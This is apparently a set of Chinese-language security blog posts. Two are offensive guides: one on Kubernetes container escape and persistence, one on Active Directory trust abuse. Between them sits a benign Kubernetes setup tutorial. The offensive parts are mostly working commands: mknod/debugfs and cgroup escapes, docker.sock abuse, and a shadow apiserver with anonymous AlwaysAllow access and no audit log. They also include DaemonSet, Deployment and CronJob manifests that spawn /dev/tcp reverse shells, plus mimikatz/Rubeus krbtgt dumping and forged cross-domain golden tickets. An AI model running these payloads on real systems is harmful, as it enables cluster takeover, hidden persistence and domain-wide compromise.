/etc/hosts、/dev/termination-log、/etc/resolv.conf、/etc/hostname 这四个容器内文件是由默认从宿主机挂载进容器的，所以在它们的挂载信息内可以获得主设备号 ID。

cat /proc/self/mountinfo|grep /etc

#使用mknod创建相应的设备文件目录并使用debugfs进行访问，此时就有了读写宿主机任意文件的权限。
#这里的8 3就是上图的主设备号ID
mknod mknod_near b 8 3
#挂载
debugfs -w mknod_near

debugfs 主要用来对ext2/ext3/ext4文件系统进行调试，可以用来恢复文件。

注：如上图，注意这里的宿主机是Centos7 ，它的文件系统类型是xfs，不适用于debugfs命令，这里无法利用。（Centos 7 开始默认文件系统是xfs，Centos6是ext4，Centos5是ext3。所以Centos 7的宿主机不支持这种方法）

这里借用了一张成功的图：

CDK 也有此利用的模块。

利用特权容器

通过fdisk -l 判断是否在特权容器内，如果不在特权容器内此命令没有回显，当然目标上也不一定有这个命令（可上传CDK，通过cdk evaluate 获取）。

当容器为 privileged、sys_admin 等特殊配置时，可使用以下方法进行逃逸。（在容器内 CAPABILITIES sys_admin 其实是 privileged 的子集)

方法一：CDK

其实就是挂载设备到容器的指定目录。（mount /dev/sda3 /tmp/aaa）

./cdk run mount-disk

然后可以写ssh 公钥、计划任务、/root/.bashrc等文件来获取宿主机权限。

方法二：CDK （可直接执行命令）

将宿主机cgroup目录挂载到容器内，随后劫持宿主机cgroup的release_agent文件，通过linux cgroup notify_on_release机制触发命令执行，完成逃逸。

./cdk_linux_amd64 run mount-cgroup "ip a"

方法三：CDK

结合lxcfs利用的思路，挂载cgroup到指定目录。

./cdk run rewrite-cgroup-devices

#手动利用
mkdir /tmp/dev
mount -t cgroup -o devices devices /tmp/dev/
#后续利用和上面lxcfs部分相同了，cgroup 已经挂载到了/tmp/dev/
#当前容器的cgroup的devices.allow 路径可结合cat /proc/1/cgroup 进行查找

利用 docker.sock

当宿主机的 /var/run/docker.sock 被挂载容器内的时候，容器内就可以通过 docker.sock 在宿主机里创建任意配置（权限）的容器。一般来说docker.sock 是存在于docker daemon服务端的，但如果开发人员想在docker容器里运行docker命令，就会把宿主机的docker.sock挂载到容器内部。


#查看容器
curl -s --unix-socket /var/run/docker.sock "http://docker_daemon_ip/containers/json"

curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'

curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
#创建特权容器（后续可逃逸至宿主机）
docker -H unix:///tmp/rootfs/var/run/docker.sock run -d -it --rm --name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest

利用 /PROC 目录的挂载

主要是利用了 linux 的 /proc/sys/kernel/core_pattern 文件，让我们可以逃逸并在外部执行命令。

CDK 有此实现。

cdk run mount-procfs <proc-dir> "<shell-cmd>"

利用 SYS_PTRACE 权限

当创建 docker 容器时，设置--cap-add=SYS_PTRACE 或创建 k8s 容器时，设置 securityContext.capabilities为 SYS_PTRACE 时，可能导致容器逃逸。拥有了该权限就可以在容器内执行 strace 和 ptrace 等工具。

存在SYS_PTRACE权限，并且挂载宿主机的PID空间时，可以通过strace 抓取宿主机ssh密码。创建这种权限的容器也可以较好的绕过HIDS或k8s安全策略的限制。

CDK 有检查此权限的模块。

CVE 提权

漏洞分析

Docker 逃逸：CVE-2019-5736、CVE-2019-14271、CVE-2020-15257

k8s提权到接管集群：CVE-2018-1002105、CVE-2020-8558

某些逃逸漏洞在CDK 中有实现。

权限维持

部署 shadow apiserver

shadow apiserver 具有和集群中现有的apiserver 一致的功能，同时开启了全部K8s管理权限，接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

#不在容器中执行
#指定api server的地址
export KUBERNETES_SERVICE_HOST="192.168.223.142"
export KUBERNETES_SERVICE_PORT="6443"
#./admin_token 为token所在的路径
./cdk run k8s-shadow-apiserver ./admin_token
#在容器中执行
./cdk run k8s-shadow-apiserver default

#cdk将在配置文件中添加以下选项：
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
...

利用 DaemonSet/Deployment

DaemonSet 能够确保全部（或某些）节点上运行一个Pod 的副本。当有节点加入集群时，也会为它们新增一个Pod；当有节点从集群移除时，这些Pod也会被回收。如果DaemonSet 监测到Pod退出，也将自动在相同节点上重建一个新Pod。

如果利用管理员凭证在目标集群内创建一个内容为反弹shell的DaemonSet，就能够实现集群所有节点自动化反弹shell（通过创建特权Pod）。

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: kube-api-self
  namespace: kube-system
spec:
  selector:
    matchLabels:
      app: kube-api-self
  template:
    metadata:
      labels:
        app: kube-api-self
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: main
        image: bash
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

Deployment 也是确保在任何时候都有特定数量的Pod副本处于运行状态，容器被删除后会自动创建恢复容器。

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 2
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        args: ["-c", "bash -i >& /dev/tcp/192.168.223.143/2333 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory

#进行部署
kubectl create -f 1.ymal
#删除部署
kubectl delete -f 1.ymal

CronJob 持久化

kubectl get CronJob 查看定时任务

CronJob 用于执行周期性的动作，例如备份、报告生成等，攻击者可以利用此功能持久化。

CDK 也可以一键部署

apiVersion: batch/v1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *" #每分钟执行一次
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: nginx
            imagePullPolicy: IfNotPresent
            command:
            - /bin/bash
            - -c
            - "bash -i >& /dev/tcp/192.168.223.143/2333 0>&1"
          restartPolicy: Always#也可以利用在普通pods当中，始终重启

也可以为普通pod增加restartPolicy: Always，能够达到CronJob的效果。

StaticPod

静态 Pod 在指定的节点上由 kubelet 守护进程直接管理，不需要 API 服务器监管。kubelet 监视每个静态 Pod（在它失败之后重新启动）。
k0otkit

k0otkit 可以快速、隐蔽和连续的方式控制目标 Kubernetes 集群中的所有节点。

更多技巧，反弹至msf、容器镜像等问题，参考：K0OTKIT：HACK K8S IN A K8S WAY。

参考

Kubernetes 环境搭建与基础知识

myzx.xcg@gmail.com (myzxcg) — Mon, 28 Nov 2022 09:17:58 +0800

在生产环境中需要管理运行着应用程序的容器，确保服务不会下线。Kubernetes 提供了一个可弹性运行分布式系统的框架，它也是自动化容器操作的开源平台，这些操作包括部署，调度和节点集群间扩展。

环境搭建

将要搭建的集群结构：

一个master 节点：192.168.223.142
两个node 节点：192.168.223.143、192.168.223.144

K8S 集群自动安装

首先安装kuboard-spray ，它是一个可以在图形界面引导下完成 Kubernetes 高可用集群离线安装的工具。它通过 ansible / ssh 命令直接操作集群节点的操作系统，执行 Kubernetes 集群的安装、添加节点、删除节点、备份、漏洞扫描等任务。

`1`	`docker run -d --privileged --restart=unless-stopped --name=kuboard-spray -p 80:80/tcp -v /var/run/docker.sock:/var/run/docker.sock -v ~/kuboard-spray-data:/data eipwork/kuboard-spray:latest-amd64`

安装成功界面（用户名 admin，默认密码 Kuboard123）导入Kuboard-Spray 的资源包 创建集群

在集群管理界面，点击界面中的 添加集群安装计划 ，添加一台Linux 机器作为节点，然后点击安装设置集群即可。（中间可能会因为网络原因，导致失败，多试几次）

K8S 集群手动安装

准备三台Centos 7，搭建和上图相同的集群结构，在这三台机器上都执行以下命令：

#开启ssh
service sshd start
systemctl enable sshd
#关闭防火墙
systemctl stop firewalld
systemctl disable firewalld
#关闭selinux
setenforce 0
sed -i 's/enforcing/disabled/' /etc/selinux/config
#关闭swap
sed -ri 's/.*swap.*/#&/' /etc/fstab
#在对应的每台机器上修改hostname
hostname set-hostname master
hostname set-hostname node1
hostname set-hostname node2
#配置/etc/hosts
192.168.223.142 master
192.168.223.143 node1
192.168.223.144 node2
#重启
reboot

#安装docker
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
yum -y install docker-ce
systemctl start docker 
systemctl enable docker
#配置k8s源
cat > /etc/yum.repos.d/kubernetes.repo << EOF
[kubernetes]
name=Kubernetes
baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64
enabled=1
gpgcheck=0
repo_gpgcheck=0
gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg
EOF
#安装kubelet、kubeadm和kubectl
yum install -y kubelet-1.23.0 kubeadm-1.23.0 kubectl-1.23.0
#设置kubelet开机自启
systemctl enable kubelet

选择一台机器用作安装master节点

kubeadm init --apiserver-advertise-address=192.168.223.142 --image-repository=registry.aliyuncs.com/google_containers --kubernetes-version v1.23.0 --service-cidr=10.10.10.0/24 --pod-network-cidr=10.20.20.0/24 --ignore-preflight-errors=all

如果kubelet 服务启动存在问题，可参考：https://blog.51cto.com/qiangsh/4802797 在node1和node2上执行join 命令来加入集群

kubeadm join 192.168.223.142:6443 --token bqc9e4.dd045xrhwsa246xv \
	--discovery-token-ca-cert-hash sha256:67767093b36f113e8ddb0fda2a637cea3da1d6ccbd4f68c2a870c0d9687f6e31
#如果token失效（24小时有效），如下命令重新获取token
kubeadm token create --print-join-command

安装Calico

1
2
3

wget https://docs.projectcalico.org/v3.19/manifests/calico.yaml --no-check-certificat
#使其从国内源下载镜像而不是docker.io
sed -i 's#docker.io/##g' calico.yaml

修改yaml中的CALICO_IPV4POOL_CIDR字段为前面kubeadm init 中的10.20.20.0/24的值。

#部署
kubectl apply -f calico.yaml
#查看部署状态
kubectl get pods -n kube-system

手动环境搭建

Kuboard 安装（可选）

安装 Kuboard v3 - kubernetes

Kuboard 通过 kubernetes 的 apiserver 执行集群的日常管理操作，例如：名称空间创建、Deployment 创建修改、Service 的创建修改等，Kuboard 支持细致的权限控制（相当于kubectl 命令的图形化操作）。

Tips： kubectl 是使用 Kubernetes API 与 Kubernetes 集群的控制节点进行通信的命令行工具。

在master节点安装 kubectl apply -f https://addons.kuboard.cn/kuboard/kuboard-v3-swr.yaml

查看安装状态：kubectl get pods -n kuboard 等待全部READY都为1/1时，表示安装完成。（此方式如果存在问题，可通过 docker 安装，下面的图是通过docker安装的）

直接访问http://192.168.223.142:30080 ，用户名： admin ，密码： Kuboard123 。

Kubernetes Dashboard 安装（可选）

Kubernetes Dashboard 是 Kubernetes 的官方 Web UI 管理工具。可以通过它向 Kubernetes 集群部署容器化应用、管理集群的资源、查看集群上所运行的应用程序、创建、修改Kubernetes 上的资源（例如 Deployment、Job、DaemonSet等），它的默认端口是30000以上随机的。

本机安装 kubectl

1
2

#在master上执行
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.6.1/aio/deploy/recommended.yaml

可修改recommended.yaml，添加两个参数来指定开放的端口开启后，直接访问master 节点的32100端口登录前需要先创建一个名为 admin-user的 ServiceAccount，再创建一个 ClusterRolebinding，将其绑定到 Kubernetes 集群中 cluster-admin这个 ClusterRole。

# 创建用户
kubectl create serviceaccount admin-user -n kube-system
# 授权用户为集群管理员 cluster-admin
kubectl create clusterrolebinding dashboard-admin --clusterrole=cluster-admin --serviceaccount=kube-system:admin-user
# 获取用户Token
kubectl describe secrets -n kube-system $(kubectl -n kube-system get secret | awk '/admin-user/{print $1}')

使用生成的token即可登录

基础知识

当部署完 Kubernetes，便拥有了一个完整的集群。每个集群至少有一个工作节点。工作节点会托管 Pod ，而 Pod 就是作为应用负载的组件（简单理解就是容器）。控制节点管理集群中的工作节点和 Pod。在生产环境中，一个集群通常运行多个控制节点，提供容错性和高可用性。

控制节点

kube-apiserver

此服务负责公开 Kubernetes API，并处理请求。可以通过 Kubernetes API 查询和操纵 Kubernetes API 中对象（如：Pod、Namespace、ConfigMap 、Event）的状态。大部分操作都可以通过 kubectl 命令行接口或类似 kubeadm 这类命令行工具来执行，这些工具在背后也是调用Kubernetes API。也可以使用 REST 调用来访问这些 API。
kube-scheduler

是负责监视新创建的、未指定运行节点的 Pods，并选择节点来让 Pod 在上面运行。
etcd

是一致且高度可用的键值存储，用作 Kubernetes 的所有集群数据的后台数据库。

#查询集群下的所有节点（-A 代表所有命名空间）
kubectl get nodes -A
#查询指定节点的状态信息
kubectl describe nodes/nodeName

工作节点

工作节点可以是虚拟机或物理计算机，由控制节点管理。

kubelet

此服务会在集群中每个工作节点（node）上运行。负责 Kubernetes 控制节点和工作节点之间通信的过程，管理 Pod 和机器上运行的容器。
kube-proxy

是集群中每个工作节点（node）所上运行的网络代理，实现 Kubernetes 服务概念的一部分。它维护节点上的一些网络规则，这些网络规则会允许从集群内部或外部的网络会话与 Pod 进行网络通信。
Container Runtime

在集群内每个节点上安装一个容器运行时（如 Docker）以使 Pod 可以运行在上面。

Pod 是 Kubernetes 抽象出来的，表示一组一个或多个应用程序容器（如 Docker），以及这些容器的一些共享资源。

一个 Pod 总是运行在工作节点。工作节点可以有多个 Pod 。控制节点会根据每个工作节点上可用资源的情况，自动调度 Pod（容器组）到最佳的工作节点上。如果运行实例的工作节点关机或被删除，则 Kubernetes Deployment Controller 将在群集中资源最优的另一个工作节点上重新创建一个新的实例。这提供了一种自我修复机制来解决机器故障或维护问题。

#在集群中deployment
#也就是创建一个pod，由控制节点决定在集群下的某个节点上进行创建，不指定命名空间时，默认在default下
kubectl create deployment kubernetes-bootcamp --image=gcr.io/google-samples/kubernetes-bootcamp:v1

#查询集群上的pods
kubectl get pods
#查询pods中的详细信息（使用了什么容器、用了哪些镜像、所在工作节点、IP等信息）
kubectl describe pod POD_NAME
#查看指定pod的日志
kubectl logs POD_NAME
#在指定pod容器启动一个bash会话用于控制
kubectl exec -ti POD_NAME /bin/bash

服务（Service）

Pod（容器组）有自己的生命周期。当工作节点故障时，节点上运行的 Pod 也会消失。然后Deployment 可以通过创建新的 Pod 来动态地将群集调整回原来的状态，以使应用程序保持运行。

Service 将外部请求路由到一组 Pod 中，它提供了一个抽象层，使得 Kubernetes 可以在不影响服务调用者的情况下，动态调度容器组（在容器组失效后重新创建容器组，增加或者减少同一个 Deployment 对应容器组的数量等）。一个 Service 识别有哪些Pod有相同特征，通常由 LabelSelector（标签选择器）来决定。

Service有三种选项暴露应用程序的入口，可以通过设置应用程序配置文件中的Service 项的spec.type 值来调整

ClusterIP（默认）

在群集中的内部IP上公布服务，这种方式的 Service（服务）只在集群内部可以访问到。
NodePort

使用 NAT 在集群中每个的同一端口上公布服务。这种方式下，可以通过访问集群中任意节点+端口号的方式访问服务 <NodeIP>:<NodePort>。此时 ClusterIP 的访问方式仍然可用。
LoadBalancer

在云环境中（需要云供应商可以支持）创建一个集群外部的负载均衡器，并为使用该负载均衡器的 IP 地址作为服务的访问地址。此时 ClusterIP 和 NodePort 的访问方式仍然可用。

#每个pod都有一个唯一的IP地址，但这IP无法外部访问，而service 用于将pods暴露在集群外部。
#创建新服务并将其暴露给外部（8080端口）
kubectl expose deployment/kubernetes-bootcamp --type="NodePort" --port 8080
#查询集群下的服务
kubectl get services
#查询集群下指定的服务
kubectl describe services serviceName
#删除服务
kubectl delete service serviceName

Kubernetes 对象

Kubernetes 对象是持久化的实体。 Kubernetes 使用这些实体去表示整个集群的状态。创建 Kubernetes 对象时，必须提供对象的 spec，用来描述该对象的期望状态，以及关于对象的一些基本信息（例如名称）。

当使用 Kubernetes API 创建对象时， API 请求必须在请求本体中包含JSON 格式的信息。大多数情况下，需要 yaml 文件为 kubectl 提供这些信息。 kubectl在发起 API 请求时，将这些信息转换成 JSON 格式。使用kubectl 通过yaml 创建此对象。

kubectl apply -f https://k8s.io/examples/application/deployment.yaml

命名空间（namespace）

命名空间是Kubernetes提供的组织机制，用于给集群中的任何对象组进行分类、筛选和管理。它将同一集群中的资源划分为相互隔离的组（同一命名空间内的资源名称要唯一），它适用于存在很多跨多个团队或项目的用户的场景。

有以下使用场景：

将命名空间映射到团队或项目上，一般是为每个单独的项目或者团队创建一个命名空间。
使用命名空间对生命周期环境进行分区，非常适合在集群中划分开发、staging以及生产环境。
使用命名空间隔离不同的使用者。

默认的命名空间

default

在向集群中添加对象而不提供命名空间时，它会被放入此默认命名空间中。
kube-public

此命名空间目的是让所有具有或不具有身份验证的用户都能全局可读。这对于公开bootstrap 组件所需的集群信息非常有用，它主要是由Kubernetes自己管理。
kube-system

此命名空间用于Kubernetes 管理的Kubernetes组件，一般由系统直接管理，应避免向该命名空间添加普通的工作负载。
kube-node-lease 集群之间的心跳维护

#查看集群中的命名空间
kubectl get ns
#查询指定的命名空间
kubectl describe ns/default
#创建命名空间
kubectl create ns test-ns
#列出命名空间下的资源
kubectl get all --namespace=default
#删除命名空间（会删除命名空间下部署的所有资源）
kubectl delete ns/test-ns

认证与授权

Kubernetes 的认证策略是：通过 authentication plugin 认证发起 API 请求的用户身份，认证方式有 client certificates、bearer tokens、authenticating proxy、HTTP basic auth。

kubernetes 在1.5 版的时候引入了RBAC（Role Base Access Control）的权限控制机制。需要在 apiserver 中添加参数--authorization-mode=RBAC来启用RBAC。从 1.16 版本起，默认启用 RBAC 访问控制策略。 API Server 目前支持以下几种授权策略：

AlwaysDeny、AlwaysAllow、ABAC（基于属性的访问控制）、Webhook（通过调用外部REST服务对用户进行授权）、RBAC（基于角色的访问控制）、Node（用于对kubelet发出的请求进行访问控制）

RBAC 是目前k8s中最主要的鉴权方式，下面会着重讲解：

用户分类

K8s的用户共分两种：一种是普通用户，一种是ServiceAccount（服务帐户）。只有ServiceAccount 才在Kubernetes中以资源的形式存在，用户、组并不会以资源的形式存在，它们只是一个字符串，在使用的地方如RoleBinding 时被引用，不能通过集群内部的 API 来进行管理。

ServiceAccount 是由Kubernetes API 管理的用户。它们绑定到特定的命名空间，并由API服务器自动创建或通过API调用手动创建。服务帐户与存储为Secrets的一组证书相关联，这些凭据被挂载到pod中，以便集群进程与Kubernetes API通信。（登录dashboard时，就使用的就是ServiceAccount） kubectl -n kube-system get sa 查看指定命名空间下的ServiceAccount 账号。

Role & RoleBinding （角色与角色绑定）

在RABC API中，通过如下的步骤进行授权：

定义角色：在定义角色时会指定此角色对于资源的访问控制的规则。
绑定角色：将主体与角色进行绑定，对用户进行访问授权。

整体逻辑如下图：下面介绍一下三种概念的构成：

Role（角色）分为：
- Role：授权特定命名空间的访问权限
- ClusterRole：授权所有命名空间的访问权限
RoleBinding（角色绑定）分为：
- RoleBinding：将角色绑定到主体（即subject）
- ClusterRoleBinding：将集群角色绑定到主体
subject（主体）分为：
- User：用户
- Group：用户组
- ServiceAccount：服务账号

角色绑定和集群角色绑定，简单来说就是把声明的 Subject 和 Role 进行绑定的过程(给某个用户绑定上操作的权限)，二者的区别也是作用范围的区别：RoleBinding 只会影响到当前namespace 下面的资源操作权限，而 ClusterRoleBinding 会影响到所有的namespace。

查询命名空间下的角色：kubectl get role -n kube-system

查询集群下的角色：kubectl get clusterrole ，cluster-admin 代表集群中的最高权限角色。查询指定角色信息：kubectl describe clusterrole/cluster-admin

参考

域信任关系利用与SID 过滤绕过

myzx.xcg@gmail.com (myzxcg) — Tue, 19 Apr 2022 16:03:06 +0800

域信任关系

在Active Directory中提供了多种具有不同用途的信任类型，域信任的作用是解决多域环境中的跨域资源共享问题，也方便对域网络的管理和维护。

Enterprise Admins组的成员对一个林中所有的域具有完全控制权限。

单双向信任关系

顾名思义，单向就是A域能访问B域资源，反过来却不行；双向是两边都可以互相访问。

Inbound 表示传入信任，允许当前域可以访问其他域。Outbound 表示传出信任，表示其他域可以访问当前域。信任方向指向的域代表指向的域受当前域信任。
传递性与非传递性信任关系

传递性却决于信任关系是否能够被拓展到创建该信任关系的两个域之外。非传递性的信任关系可以被用来隔绝与其他域的信任关系。

在域林中创建新的域，默认与父域是双向且传递的信任关系。如果这个新建的域中又创建了一个子域，那么信任路径流会向上拓展到新域和父域之间的信任关系。

下面根据向域树中或者林根域添加新域情况来分析（自动创建）

只要有新的域加入到域树中，那么就会创建父子信任关系（Parent-Child）。它只能存在于同一颗域树中且一定是双向且传递的信任。可传递性信任关系的双向性使得活动目录中的全局编录信息可以复制到所有层级的的域中。

当将一个新的域树添加到域林中时，会建立Tree-Root 信任关系。活动目录安装向导会自动创建一个双向且传递的信任关系，在同一个域林中的两颗域树根域之间建立。
快捷信任关系（Shortcut）、外部信任关系（External）、领域信任关系（Realm）和林信任（Forest）需要手动设置。这些信任关系类型必须使用新建信任关系向导或者Netdom 来创建。
1. 快捷信任关系指是在同一林中的两个子域间建立直接的信任关系。
  
  因为在同一个林中域的组织关系是树状结构，从一个子域到另外一个域，需要从树枝的子域顺寻到根域，然后从根域继续顺寻到另外一个子域，而跨域链接相当于在两个子域之间之间建立了一个快捷方式的信任关系，以减少认证和授权的时间和步骤。
2. 外部信任关系指两个不同域林中的域之间的信任关系，此关系是非传递的。如果想要创建一个双向的信任关系，必须手动在每一端设置一个单向的信任关系。
3. 林信任关系指两个域林的林根域通过单个信任关系联系起来以提供跨域认证和授权。林信任关系是不可以扩展到第三个域林中的，也就是没有传递性。
4. 领域信任是为了让AD跟非windows系统的kerberos建立关系而存在的信任。

查询域信任关系

信任关系存放在林根域的全局编录中。

#查询域信任关系
nltest /domain_trusts
#查询当前域与test.local域的信任关系
Get-ADTrust -Identity test.local

#获取根域信息，可查看有哪些域
powershell [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
#查看当前域信息
powershell [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
#查看当前域信任关系
powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
#查看当前域全局编录地址（根域域控地址）
powershell [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs

用户加入林外部域时，会出现在 CN=ForeignSecurityPrincipals,DC=domain,DC=com 组中。只要枚举 ForeignSecurityPrincipals 组，就可得知哪些用户具有这个外部森林的访问权限。

信任域之间的认证过程

环境: Jack 在A.com 域（域控为DC1），要访问在B.com 域（域控为DC2） test 机器的cifs服务。（AB 域双向信任）

使用信任关系时，两个域的域控制器需要共享一个信任密钥（Inter-Realm Key，域间密钥）以保证通信安全。当设置域B 到域A 的单向信任时（B信任A），将在域A中创建一个名为B$ 的信任帐户。当域 A 中的用户请求域 B 中的服务票证时，此信任帐户的Hash 用于加密域间 TGT。

信任关系中的两个域共享的信任密钥（明文存储但包含不可打印字符）存储在双方活动目录的 TDO 中（Trusted Domain Object）。B 域控制器每三十天更改一次存储在 TDO 中的密码，修改密码后向A 域发起通知要求其设置新密码。B 域的TDO 是CN=A.com,CN=System,DC=B,DC=com ，A 域的TDO 是CN=B.com,CN=System,DC=A,DC=com ，它们存储的密码是相同的。

在单向信任关系中，信任账户（在User 组以$结尾）只在受信任域中被创建，其密码就是TDO 存储的密码。当双向信任关系被创建时，就会在双方都创建一个信任账户，在全局编录中存档对方域的 SPN、DNS 等信息。

信任域之间的认证授权过程（下面是简化流程，中间忽略了session key，其实和请求普通服务的Kerberos 流程基本相同）

Jack 向 DC1 发起请求获取TGT 票据。（SID History 会被添加到PAC 的ExtraSids字段中）
Jack 使用 TGT 票据向 DC1 发起访问 cifs/test.B.com 服务的TGS_REQ 请求。由于服务域名和当前域不同，在TGS 请求中指定NAME_CANONICALIZE字段表明服务可能在其他域中。DC1 在全局编录中查找到请求的服务在B.com 域中，返回使用域信任密钥（B.com$）加密的跨域 TGT（Referral TGT，此票据中的PAC 完全复制于TGT）。
Jack 使用跨域 TGT 向DC2 发起TGS_REQ 请求cifs/test.B.com服务，DC2 使用域信任密钥（TDO中）验证跨域 TGT 中的信息，验证成功则修改跨域 TGT中的PAC中的某些字段后，添加到服务票据并返回（服务票据PAC中的ResourceGroup 结构将会包含Jack 用户在B 域中所属的域本地组，表示其在B域中的权限）。

SID History

基本概念

每个用户都有SID，而SID 就是用户主体的标识，用于访问资源时进行权限判断。

SID History 主要用于域迁移。当用户从一个域迁移到另一个域时，会重置该用户的特权创建一个新的SID，并将该用户添加到新的组中。而该用户在旧域中所属组的SID 就存储在用户的SID History属性中。

当用户想要访问旧域中的资源时，他的历史SID将被添加到其PAC的ExtraSids字段中。旧域通过检查ExtraSids，并授予用户原有的权限，使用户得以访问旧域资源。所以可以通过编辑SID 历史记录，来注入其他域的管理权限。

Tips: ExtraSids字段内容还包含其他域通用组的SID、历史SIDs、其他身份。

SID 过滤机制

微软称林是活动目录的安全边界，SID 过滤默认为林信任和外部信任启用，但在林内部禁用。

仅当迁移的用户需要访问其先前域中的资源时，才需要 SID 历史记录。如果没有用户有此要求，则可以应用 SID 过滤。

#在A域信任B域的情况下，在A域域控上执行，将开启SID过滤，重新启动后生效
netdom trust /d:B A /Quarantine:YES
#不加yes会显示状态
netdom trust /d:B A /Quarantine:
#/EnableSIDhistory:[Yes/No] 参数仅适用于**林信任**。
netdom trust /d:B A /enablesidhistory:yes

不同的信任类型有不同的过滤规则，详情参考 Filtering and Claims Transformation

AlwaysFilter、ForestSpecific、EDC、DomainSpecific、NeverFilter 这5种规则包含了会过滤/忽略的SIDs。开启SID 过滤后，这些规则会应用于不同的信任关系（如林信任、林内信任、外部信任等）。

对于林信任来说，如果A 林信任B 林，那么A 林在生成服务票据的PAC 时，会处理B林发过来的跨域TGT中的PAC，只允许B 林中各个域的所有SID，过滤PAC 中有关 A 林或其他林，甚至未知的SID 。

利用方法

然而每个域的 SID 都不同，无法知道哪些用户在目标域是管理员权限以及他们的SID。但企业管理组 Enterprise Admins 会被林内的域加入到本域的域管理员组且只存在于根域中，其 SID 为根域的 SID 加上519 。将 Enterprise Admins 的 SID插入到用户 SID历史记录中，则该用户可以在整个林中拥有管理权限。

Krbtgt 密钥创建跨域金票

Tips: 受SID 过滤影响

mimikatz misc::addsid 可以编辑用户的SID History属性。但可以创建一个TGT 后直接将SID History 注入到PACExtraSids字段中。

已控newtree.local域控，获取根域dc01.test.local权限。

#域控上导出krbtgt 用户hash
mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" exit
#mimikatz
#/user 伪造的的域用户 /sids EA组sid /sid 当前域sid /domain当前域 /krbtgt 当前域krbtgt用户
mimikatz.exe "kerberos::golden /user:administrator /sids:S-1-5-21-331789915-2083398572-1041350406-519 /sid:S-1-5-21-1380592208-1289200226-379417545 /domain:newtree.local /krbtgt:715c92d8639d13c358be92c632bd9915 /ptt" exit
#Rubeus
#/user 伪造子域中的用户名 /id 子域用户的RID /sid 子域sid /group 伪造子域用户所在的组RID /sids 企业管理组SID /aes256 krbtgt用户aes256密钥
Rubeus.exe golden /user:administrator /id:500 /domain:newtree.local /sid:S-1-5-21-1380592208-1289200226-379417545 /groups:513 /sids:S-1-5-21-331789915-2083398572-1041350406-519 /aes256:bf9ea5c1659f586dc206ca2b797c9ad19a69df43d2d521234079a27f955cd0a4 /ptt
#impacket ticketer.py 也可以添加extra SID 到票据中

dir \\dc01.test.local\c$

如果域间没有信任关系，SID 过滤策略会忽略 extra SID（不复制到ST PAC中）。

Tips: 要在其他域中执行dcsync攻击，使用Enterprise Domain Controllers(S-1-5-9) 或Domain Controllers(S-1-5-21-domain-516)组的SID能够达到更隐蔽的效果，因为DC通常会执行dcsync中的同步规则。

域信任密钥创建跨域金票

Tips: 受SID 过滤影响

和上面方法的唯一区别是通过域信任密钥创建域间转投TGT，添加企业管理员组到TGT PAC的ExtraSids字段。

已控newtree.local域控，获取根域dc01.test.local权限。

双向信任关系其实是两个单向信任关系的叠加，所以会有两个密钥。下图可看到有[In] NEWTREE.LOCAL -> TEST.LOCAL（TEST.LOCAL信任NEWTREE.LOCAL）和[Out] TEST.LOCAL -> NEWTREE.LOCAL 两种不同的密钥。因为这里要从NEWTREE.LOCAL域构造域间黄金票据访问林内部TEST.LOCAL域，所以使用 IN 这个密钥。上面命令构造成功后将具备 TEST.LOCAL的管理员权限。

#查找信任账户
Get-ADUser  -LDAPFilter "(SamAccountName=*$)" | select SamAccountName
#获取信任账号的NTLM（直接dcsync对应账号也行）
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:dc01$" "lsadump::trust /patch" "exit"

#Rubeus
#这里使用RC4密钥，这也是MS-KILE（微软实现的Kerberos v5协议）默认使用的。
#参数前面也介绍过了，这里/service指向的是父域TGS服务的SPN（后面会向其申请ST）/rc4 即域间信任密钥
Rubeus.exe silver /user:administrator /id:500 /domain:newtree.local /sid:S-1-5-21-1380592208-1289200226-379417545 /groups:513 /sids:S-1-5-21-331789915-2083398572-1041350406-519 /service:krbtgt/test.local /rc4:9ffbe43ea370fe957e7c39e2409b2a14 /nowrap
#还需使用票据主动向父域DC请求TGS
Rubeus.exe asktgs /service:cifs/dc01.test.local /dc:dc01.test.local /ticket:doIFazCCBWegAwIBBaEDA... /ptt
#mimikatz
#/krbtgt 域间信任密钥 /sid 当前域sid /sids EA组的sid
